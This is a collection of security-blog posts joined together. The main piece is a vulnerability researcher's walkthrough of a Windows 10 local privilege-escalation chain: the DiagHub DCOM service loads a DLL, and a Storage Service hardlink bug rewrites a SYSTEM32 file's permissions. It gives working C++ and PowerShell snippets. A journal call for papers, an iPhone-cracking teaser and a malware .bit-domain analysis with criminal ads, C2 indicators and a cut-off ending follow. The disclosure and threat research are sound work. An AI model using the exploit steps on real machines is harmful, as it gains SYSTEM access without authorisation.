A common way of exploiting arbitrary file writes is to perform DLL hijacking. When a Windows executable begins executing the initial loader in NTDLL will attempt to find all imported DLLs. The locations that the loader checks for imported DLLs are more complex than you’d expect but for our purposes can be summarized as follows:

  1. Check Known DLLs, which is a pre-cached list of DLLs which are known to the OS. If found, the DLL is mapped into memory from a pre-loaded section object.
  2. Check the application’s directory, for example if importing TEST.DLL and the application is in C:\APP then it will check C:\APP\TEST.DLL.
  3. Check the system locations, such as C:\WINDOWS\SYSTEM32 and C:\WINDOWS.
  4. If all else fails search the current environment PATH.

The aim of the DLL hijack is to find an executable which runs at a high privilege which will load a DLL from a location that the vulnerability allows us to write to. The hijack only succeeds if the DLL hasn’t already been found in a location checked earlier.

There are two problems which make DLL hijacking annoying:

  1. You typically need to create a new instance of a privileged process as the majority of DLL imports are resolved when the process is first executed.
  2. Most system binaries, executables and DLLs that will run as a privileged user will be installed into SYSTEM32.

The second problem means that in steps 2 and 3 the loader will always look for DLLs in SYSTEM32. Assuming that overwriting a DLL isn’t likely to be an option (at the least if the DLL is already loaded you can’t write to the file), that makes it harder to find a suitable DLL to hijack. A typical way around these problems is to pick an executable that is not located in SYSTEM32 and which can be easily activated, such as by loading a COM server or running a scheduled task.

Even if you find a suitable target executable to DLL hijack the implementation can be quite ugly. Sometimes you need to implement stub exports for the original DLL, otherwise the loading of the DLL will fail. In other cases the best place to run code is during DllMain, which introduces other problems such as running code inside the loader lock. What would be nice is a privileged service that will just load an arbitrary DLL for us, no hijacking, no needing to spawn the “correct” privileged process. The question is, does such a service exist?

It turns out yes one does, and the service itself has been abused at least twice previously, once by Lokihardt for a sandbox escape, and once by me for user to system EoP. This service goes by the name “Microsoft (R) Diagnostics Hub Standard Collector Service,” but we’ll call it DiagHub for short.

The DiagHub service was introduced in Windows 10, although there’s a service that performs a similar task called IE ETW Collector in Windows 7 and 8.1. The purpose of the service is to collect diagnostic information using Event Tracing for Windows (ETW) on behalf of sandboxed applications, specifically Edge and Internet Explorer. One of its interesting features is that it can be configured to load an arbitrary DLL from the SYSTEM32 directory, which is the exact feature that Lokihardt and I exploited to gain elevated privileges. All the functionality for the service is exposed over a registered DCOM object, so in order to load our DLL we’ll need to work out how to call methods on that DCOM object. At this point you can skip to the end but if you want to understand how I would go about finding how the DCOM object is implemented, the next section might be of interest.

Reverse Engineering a DCOM Object

Let’s go through the steps I would take to try and find what interfaces an unknown DCOM object supports and find the implementation so we can reverse engineer them. There are two approaches I will typically take, go straight for RE in IDA Pro or similar, or do some on-system inspection first to narrow down the areas we have to investigate. Here we’ll go for the second approach as it’s more informative. I can’t say how Lokihardt found his issue; I’m going to opt for magic.

For this approach we’ll need some tools, specifically my OleViewDotNet v1.4+ (OVDN) tool from github as well as an installation of WinDBG from the SDK. The first step is to find the registration information for the DCOM object and discover what interfaces are accessible. We know that the DCOM object is hosted in a service so once you’ve loaded OVDN go to the menu Registry ⇒ Local Services and the tool will load a list of registered system services which expose COM objects. If you now find the  “Microsoft (R) Diagnostics Hub Standard Collector Service” service (applying a filter here is helpful) you should find the entry in the list. If you open the service tree node you’ll see a child, “Diagnostics Hub Standard Collector Service,” which is the hosted DCOM object. If you open that tree node the tool will create the object, then query for all remotely accessible COM interfaces to give you a list of interfaces the object supports. I’ve shown this in the screenshot below:


While we’re here it’s useful to inspect what security is required to access the DCOM object. If you right click the class treenode you can select View Access Permissions or View Launch Permissions and you’ll get a window that shows the permissions. In this case it shows that this DCOM object will be accessible from IE Protected Mode as well as Edge’s AppContainer sandbox, including LPAC.


Of the list of interfaces shown we only really care about the standard interfaces. Sometimes there are interesting interfaces in the factory but in this case there aren’t. Of these standard interfaces there are two we care about, the IStandardCollectorAuthorizationService and IStandardCollectorService. Just to cheat slightly I already know that it’s the IStandardCollectorService service we’re interested in, but as the following process is going to be the same for each of the interfaces it doesn’t matter which one we pick first. If you right click the interface treenode and select Properties you can see a bit of information about the registered interface.


There’s not much more information that will help us here, other than we can see there are 8 methods on this interface. As with a lot of COM registration information, this value might be missing or erroneous, but in this case we’ll assume it’s correct. To understand what the methods are we’ll need to track down the implementation of IStandardCollectorService inside the COM server. This knowledge will allow us to target our RE efforts to the correct binary and the correct methods. Doing this for an in-process COM object is relatively easy as we can query for an object’s VTable pointer directly by dereferencing a few pointers. However, for out-of-process it’s more involved. This is because the actual in-process object you’d call is really a proxy for the remote object, as shown in the following diagram:


All is not lost, however; we can still find the the VTable of the OOP object by extracting the information stored about the object in the server process. Start by right clicking the “Diagnostics Hub Standard Collector Service” object tree node and select Create Instance. This will create a new instance of the COM object as shown below:


The instance gives you basic information such as the CLSID for the object which we’ll need later (in this case {42CBFAA7-A4A7-47BB-B422-BD10E9D02700}) as well as the list of supported interfaces. Now we need to ensure we have a connection to the interface we’re interested in. For that select the IStandardCollectorService interface in the lower list, then in the Operations menu at the bottom select Marshal ⇒ View Properties. If successful you’ll now see the following new view:


There’s a lot of information in this view but the two pieces of most interest are the Process ID of the hosting service and the Interface Pointer Identifier (IPID). In this case the Process ID should be obvious as the service is running in its own process, but this isn’t always the case—sometimes when you create a COM object you’ve no idea which process is actually hosting the COM server so this information is invaluable. The IPID is the unique identifier in the hosting process for the server end of the DCOM object; we can use the Process ID and the IPID in combination to find this server and from that find out the location of the actual VTable implementing the COM methods. It’s worth noting that the maximum Process ID size from the IPID is 16 bits; however, modern versions of Windows can have much larger PIDs so there’s a chance that you’ll have to find the process manually or restart the service multiple times until you get a suitable PID.

Now we’ll use a feature of OVDN which allows us to reach into the memory of the server process and find the IPID information. You can access information about all processes through the main menu Object ⇒ Processes but as we know which process we’re interested in just click the View button next to the Process ID in the marshal view. You do need to be running OVDN as an administrator otherwise you’ll not be able to open the service process. If you’ve not done so already the tool will ask you to configure symbol support as OVDN needs public symbols to find the correct locations in the COM DLLs to parse. You’ll want to use the version of DBGHELP.DLL which comes with WinDBG as that supports remote symbol servers. Configure the symbols similar to the following dialog:


If everything is correctly configured and you’re an administrator you should now see more details about the IPID, as shown below:


The two most useful pieces of information here are the Interface pointer, which is the location of the heap allocated object (in case you want to inspect its state), and the VTable pointer for the interface. The VTable address gives us information for where exactly the COM server implementation is located. As we can see here the VTable is located in a different module (DiagnosticsHub.StandardCollector.Runtime) from the main executable (DiagnosticsHub.StandardCollector.Server). We can verify the VTable address is correct by attaching to the service process using WinDBG and dumping the symbols at the VTable address. We also know from before we’re expecting 8 methods so we can take that into account by using the command:

dqs DiagnosticsHub_StandardCollector_Runtime+0x36C78 L8

Note that WinDBG converts periods in a module name to underscores. If successful you’ll see the something similar to the following screenshot:


Extracting out that information we now get the name of the methods (shown below) as well as the address in the binary. We could set breakpoints and see what gets called during normal operation, or take this information and start the RE process.

ATL::CComObject<StandardCollectorService>::QueryInterface
ATL::CComObjectCached<StandardCollectorService>::AddRef
ATL::CComObjectCached<StandardCollectorService>::Release
StandardCollectorService::CreateSession
StandardCollectorService::GetSession
StandardCollectorService::DestroySession
StandardCollectorService::DestroySessionAsync
StandardCollectorService::AddLifetimeMonitorProcessIdForSession

The list of methods looks correct: they start with the 3 standard methods for a COM object, which in this case are implemented by the ATL library. Following those methods are five implemented by the StandardCollectorService class. Being public symbols, this doesn’t tell us what parameters we expect to pass to the COM server. Due to C++ names containing some type information, IDA Pro might be able to extract that information for you, however that won’t necessarily tell you the format of any structures which might be passed to the function. Fortunately due to how COM proxies are implemented using the Network Data Representation (NDR) interpreter to perform marshalling, it’s possible to reverse the NDR bytecode back into a format we can understand. In this case go back to the original service information, right click the IStandardCollectorService treenode and select View Proxy Definition. This will get OVDN to parse the NDR proxy information and display a new view as shown below.


Viewing the proxy definition will also parse out any other interfaces which that proxy library implements. This is likely to be useful for further RE work. The decompiled proxy definition is shown in a C# like pseudo code but it should be easy to convert into working C# or C++ as necessary. Notice that the proxy definition doesn’t contain the names of the methods but we’ve already extracted those out. So applying a bit of cleanup and the method names we get a definition which looks like the following:

[uuid("0d8af6b7-efd5-4f6d-a834-314740ab8caa")]
struct IStandardCollectorService : IUnknown {
   HRESULT CreateSession(_In_ struct Struct_24* p0,
                         _In_ IStandardCollectorClientDelegate* p1,
                         _Out_ ICollectionSession** p2);
   HRESULT GetSession(_In_ GUID* p0, _Out_ ICollectionSession** p1);
   HRESULT DestroySession(_In_ GUID* p0);
   HRESULT DestroySessionAsync(_In_ GUID* p0);
   HRESULT AddLifetimeMonitorProcessIdForSession(_In_ GUID* p0, [In] int p1);
}

There’s one last piece missing; we don’t know the definition of the Struct_24 structure. It’s possible to extract this from the RE process but fortunately in this case we don’t have to. The NDR bytecode must know how to marshal this structure across so OVDN just extracts the structure definition out for us automatically: select the Structures tab and find Struct_24.


As you go through the RE process you can repeat this process as necessary until you understand how everything works. Now let’s get to actually exploiting the DiagHub service and demonstrating its use with a real world exploit.

Example Exploit

So after our efforts of reverse engineering, we’ll discover that in order to to load a DLL from SYSTEM32 we need to do the following steps:

  1. Create a new Diagnostics Session using IStandardCollectorService::CreateSession.
  2. Call the ICollectionSession::AddAgent method on the new session, passing the name of the DLL to load (without any path information).

The simplified loading code for ICollectionSession::AddAgent is as follows:

void EtwCollectionSession::AddAgent(LPWCSTR dll_path,
                                   REFGUID guid) {
 WCHAR valid_path[MAX_PATH];
 if ( !GetValidAgentPath(dll_path, valid_path)) {
   return E_INVALID_AGENT_PATH;
 HMODULE mod = LoadLibraryExW(valid_path,
       nullptr, LOAD_WITH_ALTERED_SEARCH_PATH);
 dll_get_class_obj = GetProcAddress(hModule, "DllGetClassObject");
 return dll_get_class_obj(guid);
}

We can see that it checks that the agent path is valid and returns a full path (this is where the previous EoP bugs existed, insufficient checks). This path is loading using LoadLibraryEx, then the DLL is queried for the exported method DllGetClassObject which is then called. Therefore to easily get code execution all we need is to implement that method and drop the file into SYSTEM32. The implemented DllGetClassObject will be called outside the loader lock so we can do anything we want. The following code (error handling removed) will be sufficient to load a DLL called dummy.dll.

IStandardCollectorService* service;
CoCreateInstance(CLSID_CollectorService, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service));

SessionConfiguration config = {};
config.version = 1;
config.monitor_pid = ::GetCurrentProcessId();
CoCreateGuid(&config.guid);
config.path = ::SysAllocString(L"C:\Dummy");
ICollectionSession* session;
service->CreateSession(&config, nullptr, &session);

GUID agent_guid;
CoCreateGuid(&agent_guid);
session->AddAgent(L"dummy.dll", agent_guid);

All we need now is the arbitrary file write so that we can drop a DLL into SYSTEM32, load it and elevate our privileges. For this I’ll demonstrate using a vulnerability I found in the SvcMoveFileInheritSecurity RPC method in the system Storage Service. This function caught my attention due to its use in an exploit for a vulnerability in ALPC discovered and presented by Clément Rouault & Thomas Imbert at PACSEC 2017. While this method was just a useful exploit primitive for the vulnerability I realized it has not one, but two actual vulnerabilities lurking in it (at least from a normal user privilege). The code prior to any fixes for SvcMoveFileInheritSecurity looked like the following:

void SvcMoveFileInheritSecurity(LPCWSTR lpExistingFileName,
                               LPCWSTR lpNewFileName,
                               DWORD dwFlags) {
 PACL pAcl;
 if (!RpcImpersonateClient()) {
   // Move file while impersonating.
   if (MoveFileEx(lpExistingFileName, lpNewFileName, dwFlags)) {
     RpcRevertToSelf();
     // Copy inherited DACL while not.
     InitializeAcl(&pAcl, 8, ACL_REVISION);
     DWORD status = SetNamedSecurityInfo(lpNewFileName, SE_FILE_OBJECT,
         UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION,
         nullptr, nullptr, &pAcl, nullptr);
       if (status != ERROR_SUCCESS)
         MoveFileEx(lpNewFileName, lpExistingFileName, dwFlags);
   }
   else {
     // Copy file instead...
     RpcRevertToSelf();
   }
 }
}

The purpose of this method seems to be to move a file then apply any inherited ACE’s to the DACL from the new directory location. This would be necessary as when a file is moved on the same volume, the old filename is unlinked and the file is linked to the new location. However, the new file will maintain the security assigned from its original location. Inherited ACEs are only applied when a new file is created in a directory, or as in this case, the ACEs are explicitly applied by calling a function such as SetNamedSecurityInfo.

To ensure this method doesn’t allow anyone to move an arbitrary file while running as the service’s user, which in this case is Local System, the RPC caller is impersonated. The trouble starts immediately after the first call to MoveFileEx, the impersonation is reverted and SetNamedSecurityInfo is called. If that call fails then the code calls MoveFileEx again to try and revert the original move operation. This is the first vulnerability; it’s possible that the original filename location now points somewhere else, such as through the abuse of symbolic links. It’s pretty easy to cause SetNamedSecurityInfo to fail, just add a Deny ACL for Local System to the file’s ACE for WRITE_DAC and it’ll return an error which causes the revert and you get an arbitrary file creation. This was reported as issue 1427.

This is not in fact the vulnerability we’ll be exploiting, as that would be too easy. Instead we’ll exploit a second vulnerability in the same code: the fact that we can get the service to call SetNamedSecurityInfo on any file we like while running as Local System. This can be achieved either by abusing the impersonated device map to redirect the local drive letter (such as C:) when doing the initial MoveFileEx, which then results in lpNewFileName pointing to an arbitrary location, or more interestingly abusing hard links. This was reported as issue 1428. We can exploit this using hard links as follows:


  1. Create a hard link to a target file in SYSTEM32 that we want to overwrite. We can do this as you don’t need to have write privileges to a file to create a hard link to it, at least outside of a sandbox.
  2. Create a new directory location that has an inheritable ACE for a group such as Everyone or Authenticated Users to allow for modification of any new file. You don’t even typically need to do this explicitly; for example, any new directory created in the root of the C: drive has an inherited ACE for Authenticated Users. Then a request can be made to the RPC service to move the hardlinked file to the new directory location. The move succeeds under impersonation as long as we have FILE_DELETE_CHILD access to the original location and FILE_ADD_FILE in the new location, which we can arrange.
  3. The service will now call SetNamedSecurityInfo on the moved hardlink file. SetNamedSecurityInfo will pick up the inherited ACEs from the new directory location and apply them to the hardlinked file. The reason the ACEs are applied to the hardlinked file is from the perspective of SetNamedSecurityInfo the hardlinked file is in the new location, even though the original target file we linked to was in SYSTEM32.

By exploiting this we can modify the security of any file that Local System can access for WRITE_DAC access. Therefore we can modify a file in SYSTEM32, then use the DiagHub service to load it. There is a slight problem, however. The majority of files in SYSTEM32 are actually owned by the TrustedInstaller group and so cannot be modified, even by Local System. We need to find a file we can write to which isn’t owned by TrustedInstaller. Also we’d want to pick a file that won’t cause the OS install to become corrupt. We don’t care about the file’s extension as AddAgent only checks that the file exists and loads it with LoadLibraryEx. There are a number of ways we can find a suitable file, such as using the SysInternals AccessChk utility, but to be 100% certain that the Storage Service’s token can modify the file we’ll use my NtObjectManager PowerShell module (specifically its Get-AccessibleFile cmdlet, which accepts a process to do the access check from). While the module was designed for checking accessible files from a sandbox, it also works to check for files accessible by privileged services. If you run the following script as an administrator with the module installed the $files variable will contain a list of files that the Storage Service has WRITE_DAC access to.

Import-Module NtObjectManager

Start-Service -Name "StorSvc"
Set-NtTokenPrivilege SeDebugPrivilege | Out-Null
$files = Use-NtObject($p = Get-NtProcess -ServiceName "StorSvc") {
   Get-AccessibleFile -Win32Path C:\Windows\system32 -Recurse `
    -MaxDepth 1 -FormatWin32Path -AccessRights WriteDac -CheckMode FilesOnly
}

Looking through the list of files I decided to pick on the file license.rtf, which contains a short license statement for Windows. The advantage of this file is it’s very likely to be not be critical to the operation of the system and so overwriting it shouldn’t cause the installation to become corrupted.

So putting it all together:

  1. Use the Storage Service vulnerability to change the security of the license.rtf file inside SYSTEM32.
  2. Copy a DLL, which implements DllGetClassObject over the license.rtf file.
  3. Use the DiagHub service to load our modified license file as a DLL, get code execution as Local System and do whatever we want.

If you’re interested in seeing a fully working example, I’ve uploaded a full exploit to the original issue on the tracker.

Wrapping Up

In this blog post I’ve described a useful exploit primitive for Windows 10, which you can even use from some sandboxed environments such as Edge LPAC. Finding these sorts of primitives makes exploitation much simpler and less error-prone. Also I’ve given you a taste of how you can go about finding your own bugs in similar DCOM implementations.

ACM Digital Threats: Research and Practice

CERT/CC is very excited to announce a new journal in collaboration with ACM called ACM Digital Threats, Research and Practice.

The journal (DTRAP) is a peer-reviewed journal that targets the prevention, identification, mitigation, and elimination of digital threats. DTRAP promotes the foundational development of scientific rigor in digital security by bridging the gap between academic research and industry practice. The journal welcomes the submission of scientifically rigorous manuscripts that address extant digital threats, rather than the laboratory model of potential threats. To be accepted for publication, manuscripts must demonstrate scientific rigor and present results that are reproducible.

DTRAP invites researchers and practitioners to submit manuscripts that present scientific observations about the identification, prevention, mitigation, and elimination of digital threats in all areas, including computer hardware, software, networks, robots, industrial automation, firmware, digital devices, etc. For articles involving analysis, the journal requires the use of relevant data and the demonstration of the importance of the results. For articles involving the results of structured observation, the journal requires explicit inclusion of rigorous practices, for example, experiments should clearly describe why internal validity, external validity, containment and transparency hold for the experiment described.

Topics relevant to the journal include, but are not limited to:

  • Network Security
  • Web-based threats
  • Point-of-sale threats
  • Closed-network threats
  • Malicious software analysis
  • Exploit analysis
  • Vulnerability analysis
  • Adversary tactics
  • Threat landscape studies
  • Criminal ecosystem studies
  • Virus response patterns
  • Adversary attack patterns
  • Studies of security operations processes/practices/TTPs
  • Assessment and measurement of security architectures/organization security posture
  • Threat information management and sharing
  • Security services or threat intelligence ecosystem studies
  • Impact of new technologies/protocols on the threat landscape

For further information and to submit your paper, visit Manuscript Central or write to dtrap-editors@acm.org

GrayKey: What you need to know about this iPhone hacker and how to protect yourself

Police and other law-enforcement agencies now have inexpensive access to a hacking device that can crack iPhone and iPad passwords in a matter of minutes. First reported in early March by Forbes, GrayKey, from a company called Grayshift, is designed for turn-key cracking of iOS passcodes.

In mid-March, Malwarebytes explored the device in greater depth, noting that a four-digit PIN could be cracked in a couple of hours and a six-digit PIN would require as many as a few days.

To read this article in full, please click here

How the Rise of Cryptocurrencies Is Shaping the Cyber Crime Landscape: Blockchain Infrastructure Use

UPDATE (May 31, 2018): A section of the post on commonly used OpenNIC IPs has been removed to avoid any implication that the OpenNIC IPs are inherently malicious, which is not the case.

Introduction

Cyber criminals have always been attracted to cryptocurrencies because it provides a certain level of anonymity and can be easily monetized. This interest has increased in recent years, stemming far beyond the desire to simply use cryptocurrencies as a payment method for illicit tools and services. Many actors have also attempted to capitalize on the growing popularity and subsequent rising price of cryptocurrencies by conducting various operations aimed at them, such as malicious cryptocurrency mining, collection of cryptocurrency wallet credentials, extortion activity, and the targeting of cryptocurrency exchanges.

Coinciding with the rising interest in stealing cryptocurrencies, distributed ledger technology (DLT), the technology that underpins cryptocurrencies, has also provided cyber criminals with a unique means of hosting their malicious content. This blog covers the growing trend of cyber criminals using blockchain domains for malicious infrastructure.

Blockchain Infrastructure Use

Traditionally, cyber criminals have used various methods to obfuscate malicious infrastructure that they use to host additional payloads, store stolen data, and/or function as command and control (C2) servers. Traditional methods include using bulletproof hosting, fast-flux, Tor infrastructure, and/or domain generation algorithms (DGAs) to help obfuscate the malicious infrastructure. While we expect cyber criminals to continue to use these techniques for the foreseeable future, another trend is emerging: the use of blockchain infrastructure.

Underground Interest in Blockchain Infrastructure

FireEye iSIGHT Intelligence has identified eCrime actor interest in cryptocurrency infrastructure-related topics dating back to at least 2009 within underground communities. While searches for certain keywords fail to provide context, the frequency of specific words, such as blockchain, Namecoin, and .bit, show a sharp increase in conversations surrounding these topics beginning in 2015 (Figure 1).


Figure 1: Underground keyword mentions

Namecoin Domains

Namecoin is a cryptocurrency based on the Bitcoin code that is used to register and manage domain names with the top-level domain (TLD) .bit. Everyone who registers a Namecoin domain is essentially their own domain registrar; however, domain registration is not associated with an individual's name or address. Rather, domain ownership is based on the unique encrypted hash of each user. This essentially creates the same anonymous system as Bitcoin for internet infrastructure, in which users are only known through their cryptographic identity. Figure 2 illustrates the Namecoin domain name generation process.


Figure 2: Namecoin domain creation process

As Namecoin is decentralized, with no central authority managing the network, domains registered with Namecoin are resistant to being hijacked or shut down. These factors, coupled with the comparative anonymity, make Namecoin an increasingly attractive option for cyber criminals in need of supporting infrastructure for their malicious operations.

Navigating to Namecoin Domains

Domains registered with Namecoin use the TLD .bit, and are not managed by standard DNS providers. Consequently, a client will be unable to establish a connection to these blockchain domains unless additional configurations are made. According to the Namecoin wiki, individuals can take one of the steps shown in Figure 3 to browse .bit domains.


Figure 3: Options for navigating to Namecoin domains outlined on Namecoin wiki

These options are not ideal for cyber criminals, as downloading the entire blockchain onto an infected host would require significant space and bandwidth, and routing their malicious traffic through an unknown third party could result in their traffic being blocked by the resolver. As a result, many have configured their malware to query their own privately managed Namecoin-compatible OpenNIC DNS (Figure 4), or to query other compatible servers they've purchased through underground infrastructure offerings. Bulletproof hosting providers, such as Group 4, have capitalized on the increased demand for .bit domains by adding support to allow malicious actors to query compatible servers.


Figure 4: Blockchain domain support advertised on OpenNIC website

Underground Advertisements for Namecoin Support

The following underground advertisements relating to the use of .bit domains have been observed by researchers over the past several years. These posts range from actors offering .bit compatible modules or configuration updates for popular banking Trojans to .bit infrastructure offerings.

Sample Advertisement #1

Figure 5 shows an advertisement, observed in late 2015, posted by the actor "wachdog" in a popular Russian-speaking marketplace. The actor advertised a small utility (10 KB in size) that is compatible with both Windows and Android operating systems, and would allow for the communication to and from .bit domains.

Advertisement Translated Text:

The code is written in C+ for WinAPI or Java for Android. It can be used for small stealth applications to access .bit domains.

The registration of new domain costs 0.02 NMC, update of a record - 0.005 NMC.

So, the price for domain registration and update will be approximately 0.0072$ and 0.0018$.

The code works in all Windows starting from XP, it doesn't require additional libraries, admin privileges, it doesn't download a lot of data. The size of compiled code is 10 KB. It's easy to write it in asm, paskal, c#, java etc. It also works for Android (all versions).

You should download the Namecoin wallet, credit it with the minimum amount of NMC and register your own domain using the wallet. IP of C&C can be linked to the domain also using the wallet (one of many, everything works as for normal DNS). Create a build of your software locked to .bit domain. In case the IP of your server is listed, just change the DNS record and assign your domain a new IP for just for 0.005 NMC. No need in new rebuild or registration of new domains. .bit domain cannot be taken, botnet cannot be stolen.

Price:

Technology + code in C: $300 USD

Technology + code in C + code in Java for Android: $400 USD
Payment methods: BTC, PerfectMoney

Figure 5: Actor "wachdog" advertises utility to connect to .bit domains in late 2015

Sample Advertisement #2

In late 2017, actor "Discomrade" advertised a new HTTP distributed denial of service (DDoS) malware named "Coala" on a prominent Russian-language underground forum (Figure 6). According to the advertisement, Coala focuses on L7 (HTTP) attacks and can overcome Cloudflare, OVH, and BlazingFast DDoS protections. The original posting stated that the actor was working on adding support for .bit domains, and later updated the forum post to specify that Coala was able to support .bit domain communications.

Advertisement Translated Text:

Coala - Http DDoS Bot, .net 2.0, bypass cloudflare/ovh/blazi...
The sale resumed.

I changed my decision to rewrite the bot from the scratch on native language.
I'm looking forward to hearing any ideas / comments/ questions you have about improving this DDoS bot.
I updated and enhanced the bot using your previous comments and requests (changed communication model between server and bot, etc)

I added the following features/options/abilities:

- to customize the HTTP-headers (user-agent, cookie, referrer)
- to set task limits
- to count the number of bots used for particular task
- to read the answer from a server
- to use async sockets
- to set the number of sockets per timeout
- to set the number of HTTP-requests per socket
- to set custom waiting time
- to set an attack restart periods
- to count the requests per second for particular task

I removed the feature related to DDoS attacks against TOR sites because of its improper functioning and AV detects.

Currently I am working on .bit domains support.

The price: $400
 

Figure 6: Discomrade advertising Coala DDoS malware support for .bit domains

Sample Advertisement #3

The AZORult malware, which was discovered in mid-2016, is offered in underground marketplaces by the actor "CrydBrox." In early 2017, CrydBrox offered an updated variant of the AZORult malware that included .bit support (Figure 7).

Advertisement Translated Text:

 AZORult V2

[+] added .bit domains support
[+] added CC stealing feature (for Chrome-based browsers)
[+] added passwords grabbing from FTP-client WinSCP
[+] added passwords grabbing from Outlook (up to the last version)
[+] fixed passwords grabbing from Firefox and Thunderbird
[+] added the feature to examine what privileges were used to run stealer
[+] provided encrypted communication between management panel and the stealer
[+] added AntiVirtualMachine, AntiSandbox, AntiDebug techniques
[+] fixed logs collection feature (excluded info about file operations)
[+] accelerated the work of stealer process
[+] removed .tls section from binary file
[+] added ability to search logs by cookies content (in management panel)
[+] added the view of the numbers of passwords/CC/CoinsWallet and files in logs to management panel
[+] added the commenting feature to logs
[+] added viewing of the stats by country, architecture, system version, privileges, collected passwords
[+] added new filters and improved of old filters

There are 4 variants of the stealer:
AU2_EXE.exe - run and send the report
AU2_EXEsd.exe - run, send the report and remove itself
AU2_DLL.dll - collect info after the load into the process, send data and return the control to the process
AU2_DLLT.dll - after the loading of the DLL into the process it creates the separate thread for stealer work
*DLL versions successfully work with all popular bots.
The size – 495 KB, packed with UPX – 220 KB

The prices:
1 build - $100
rebuild - $30
 

Figure 7: CrydBrox advertising AZORult support for .bit domains

Namecoin Usage Analysis

Coinciding with malicious actors' increasing interest in using .bit domains is a growing number of malware families that are being configured to use them. Malware families that we have observed using Namecoin domains as part of their C2 infrastructure include:

  • Necurs
  • AZORult
  • Neutrino (aka Kasidet, MWZLesson)
  • Corebot
  • SNATCH
  • Coala DDoS
  • CHESSYLITE
  • Emotet
  • Terdot
  • Gandcrab Ransomware
  • SmokeLoader (aka Dofoil)

Based on our analysis of samples configured to used .bit, the following methods are commonly used by malware families to connect to these domains:

  • Query hard-coded OpenNIC IP address(es)
  • Query hard-coded DNS server(s)

AZORult

The AZORult sample (MD5: 3a3f739fceeedc38544f2c4b699674c5) was configured to support the use of .bit communications, although it did not connect to a Namecoin domain during analysis. The sample first checks if the command and control (C2) domain contains the string ".bit" and, if so, the malware will query the following hard-coded OpenNIC IP addresses to try to resolve the domain (Figure 8 and Figure 9):

  • 89.18.27.34
  • 87.98.175.85
  • 185.121.177.53
  • 193.183.98.154
  • 185.121.177.177
  • 5.9.49.12
  • 62.113.203.99
  • 130.255.73.90
  • 5.135.183.146
  • 188.165.200.156


Figure 8: Hard-coded OpenNIC IP addresses - AZORult


Figure 9: AZORult code for resolving C&C domains

CHESSYLITE

The analyzed CHESSYLITE sample (MD5: ECEA3030CCE05B23301B3F2DE2680ABD) contains the following hard-coded .bit domains:

  • Leomoon[.]bit
  • lookstat[.]bit
  • sysmonitor[.]bit
  • volstat[.]bit
  • xoonday[.]bit

The malware attempts to resolve those domains by querying the following list of hard-coded OpenNIC IP addresses:

  • 69.164.196.21
  • 107.150.40.234
  • 89.18.27.34
  • 193.183.98.154
  • 185.97.7.7
  • 162.211.64.20
  • 217.12.210.54
  • 51.255.167.0
  • 91.121.155.13
  • 87.98.175.85

Once the .bit domain has been resolved, the malware will issue an encoded beacon to the server (Figure 10).


Figure 10: CHESSYLITE sample connecting to xoonday.bit and issuing beacon

Neutrino (aka Kasidet, MWZLesson)

The analyzed Neutrino sample (MD5: C102389F7A4121B09C9ACDB0155B8F70) contains the following hard-coded Namecoin C2 domain:

  • brownsloboz[.]bit

Instead of using hard-coded OpenNIC IP addresses to resolve its C2 domain, the sample issues DnsQuery_A API calls to the following DNS servers:

  • 8.8.8.8
  • sourpuss.[]net
  • ns1.opennameserver[.]org
  • freya.stelas[.]de
  • ns.dotbit[.]me
  • ns1.moderntld[.]com
  • ns1.rodgerbruce[.]com
  • ns14.ns.ph2network[.]org
  • newton.bambusoft[.]mx
  • secondary.server.edv-froehlich[.]de
  • philipostendorf[.]de
  • a.dnspod[.]com
  • b.dnspod[.]com
  • c.dnspod[.]com

The malware is configured to run through the list in the aforementioned order. Hence, if a DnsQuery_A call to 8.8.8.8 fails, the malware will try sourpuss[.]net, and so on (Figure 11). Through network emulation techniques, we simulated a resolved connection in order to observe the sample's behavior with the .bit domain.


Figure 11: Modified 8.8.8.8 to 8.8.8.5 to force query failure

Monero Miner

The analyzed Monero cryptocurrency miner (MD5: FA1937B188CBB7fD371984010564DB6E) revealed the use of .bit for initial beacon communications. This miner uses the DnsQuery_A API call and connects to the OpenNIC IP address 185.121.177.177 to resolve the domain flashupd[.]bit (Figure 12 and Figure 13).


Figure 12: Code snippet for resolving the .bit domain


Figure 13: DNS request to OpenNIC IP 185.121.177.177

Terdot (aka ZLoader, DELoader)

The analyzed Terdot sample (MD5: 347c574f7d07998e321f3d35a533bd99) includes the ability to communicate with .bit domains, seemingly to download additional payloads. It attempts resolution by querying the following list of OpenNIC and public DNS IP addresses:

  • 185.121.177.53
  • 185.121.177.177
  • 45.63.25.55
  • 111.67.16.202
  • 142.4.204.111
  • 142.4.205.47
  • 31.3.135.232
  • 62.113.203.55
  • 37.228.151.133
  • 144.76.133.38

This sample iterates through the hard-coded IPs in attempts to access the domain cyber7[.]bit (Figure 14). If the domain resolves, it will connect to https://cyber7[.]bit/blog/ajax.php to download data that is RC4 encrypted and expected to contain a PE file.


Figure 14: DNS requests for cyber7.bit domain

Gandcrab Ransomware

The analyzed Gandcrab ransomware sample (MD5: 9abe40bc867d1094c7c0551ab0a28210) also revealed the use of .bit domains. Unlike previously mentioned families, it spawns a new nslookup process via an anonymous pipe to resolve the following blockchain domains:

  • Bleepingcomputer[.]bit
  • Nomoreransom[.]bit
  • esetnod32[.]bit
  • emsisoft[.]bit
  • gandcrab[.]bit

The spawned nslookup process contains the following command (as seen in Figure 15):

  • nslookup <domain>  a.dnspod.com


Figure 15: GandCrab nslookup process creation and command

Emercoin Domains

FireEye iSIGHT Intelligence researchers have identified other blockchain domains being used by cyber criminals, including Emercoin domains .bazar and .coin. Similar to the Namecoin TLD, all records are completely decentralized, un-censorable, and cannot be altered, revoked, or suspended.

Navigating to Emercoin Domains

Emercoin also maintains a peering agreement with OpenNIC, meaning domains registered with the Emercoin's EMCDNS service are accessible to all users of OpenNIC DNS servers. Current root zones supported by EMCDNS are shown in Table 3.

Zone

Intended Purpose

.coin

digital currency and commerce websites

.emc

websites associated with the Emercoin project

.lib

from the words Library and Liberty - that is, knowledge and freedom

.bazar

marketplace

Table 3: Emercoin-supported DNS zones (Emercoin Wiki)

Users also have the option of installing compatible browser plugins that will navigate to Emercoin domains, or routing their traffic through emergate[.]net, which is a gateway maintained by the Emercoin developers.

Emercoin Domain Usage

FireEye iSIGHT Intelligence has observed eCrime actors using Emercoin domains for malicious infrastructure, albeit to a lesser extent. Examples of these operations include:

